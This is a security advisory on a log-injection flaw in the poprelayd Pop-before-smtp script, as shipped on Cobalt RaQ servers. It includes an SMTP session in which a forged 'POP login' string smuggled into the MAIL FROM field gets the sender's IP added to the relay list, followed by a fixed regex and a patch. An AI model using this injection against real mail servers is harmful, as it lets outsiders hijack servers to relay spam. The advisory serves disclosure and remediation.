COMMAND

    poprelayd

SYSTEMS AFFECTED

    poprelayd

PROBLEM

    Andrea Barisani  found following.   Poprelayd is  a simple  script
    that  scan  /var/log/maillog  for  valid  pop logins and updates a
    hash db used  by sendmail to  permit relaying for  those valid pop
    users, this method is called "Pop-before-smtp".

    The syslog string searched by the  script is in this form for  the
    qpop server

        /POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9]\.]+)/)

    On  some  cobalt  raq3  servers  (with the poprelayd add-on packet
    installed)  and  in  general  on  any system running the poprelayd
    script with sendmail  is possible to  "inject" this string  in the
    syslog  using  sendmail  logging.   So  anyone  can  insert a fake
    string with his own IP wich  will be parsed by poprelayd and  that
    will permit the use of sendmail as a relay.

    On cobalts the presence of  poprelayd is revealed by the  modified
    sendmail relaying denied message  "Relaying denied.  Please  check
    your mail first."

    Example:

        telnet dumbcobalt 25
        Trying 123.123.123.123...
        Connected to dumbcobalt
        ...
        ehlo dumbcobalt
        ...
        mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
        @linux.org"
        553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
        @linux.org"...Domain name required

    Now the IP 66.66.66.66 can do relay.

    In fact, on dumbcobalt, in /var/log/maillog:

        ...reject=533 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
        @linux.org", size=0, class=0 ....etc etc...

        [root@dumbcobalt /]# /usr/sbin/poprelayd -p
        66.66.66.66 	7


SOLUTION

    Better to anchor the pattern  match to the beginning of  the line,
    so that  there is  no way  any program  can trick  poprelayd.  For
    example:

        if ($s =~ /^\w+\s+\d+\s+\d+:\d+:\d+\s+[^: ]+ (imapd|pop3d)\[(\d+)\]: login: \S*\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]/) {
	        ($daemon, $pid, $clientip)= ($1, $2, $3);
	        add_to_db($clientip);
        }

    The above example is for US-style syslog timestamps, things  might
    be different  elsewhere.   Also, you  need to  make sure that your
    syslogd  is  not  accepting  traffic  from anywhere except a local
    Unix-domain socket,  since otherwise  the attacker  could forge  a
    syslog message directly.

    Another workaround is to simply have your POP/IMAP daemons log  to
    their own facility (ie -- one of the locals).

    Attached   you'll   find   an   experimental   patch   (apply   to
    /usr/local/sbin/poprelayd) to immediately correct the email  relay
    exploit.  This  patch is integrated  into the current  version 2.0
    poprelayd RPM at:

        ftp://ftp.cobaltnet.com/pub/experimental/RPMS/poprelayd-2.0-4.noarch.rpm
        ftp://ftp.cobaltnet.com/pub/experimental/SRPMS/poprelayd-2.0-4.src.rpm

    A supported  fix to  this email  relay exploit  will be integrated
    into  forthcoming  security  update  packages  for  Qube  and  RaQ
    products.

    --- poprelayd-2.0-3	Mon Jul  9 10:29:40 2001
    +++ poprelayd	Mon Jul  9 10:27:27 2001
    @@ -175,16 +175,19 @@
         my $s = $_[0];
         my @paddrs;		# Packed IP addresses.
         my @addrs;		# ASCII addresses.
    -    my $junk;
    
         # POP login by user "admin" at (10.9.28.29) 10.9.28.29
    -    if ($s =~ /POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9\.]+)/)  {
    -        return $1;
    +    # ensure line ends at IP address.  Filter on rejection codes
    +    if ($s =~ /POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9\.]+)\s*$/)  {
    +        my $authuser = $1;
    +        return $authuser unless ($s =~ /reject=\d/i);
         }
    
         # imapd[11676]: Authenticated user=admin host=pyro.cobalt.com [10.9.28.29]
    -    if ($s =~ /Authenticated user=\S+ host=\S+ \[([\d\.]+)\]/) {
    -        return $1;
    +    # ensure line ends at IP address.  Filter on rejected syntax.
    +    if ($s =~ /Authenticated user=\S+ host=\S+ \[([\d\.]+)\]\s*$/) {
    +        my $authuser = $1;
    +        return $authuser unless ($s =~ /unknown command/i);
         }
    
         return ();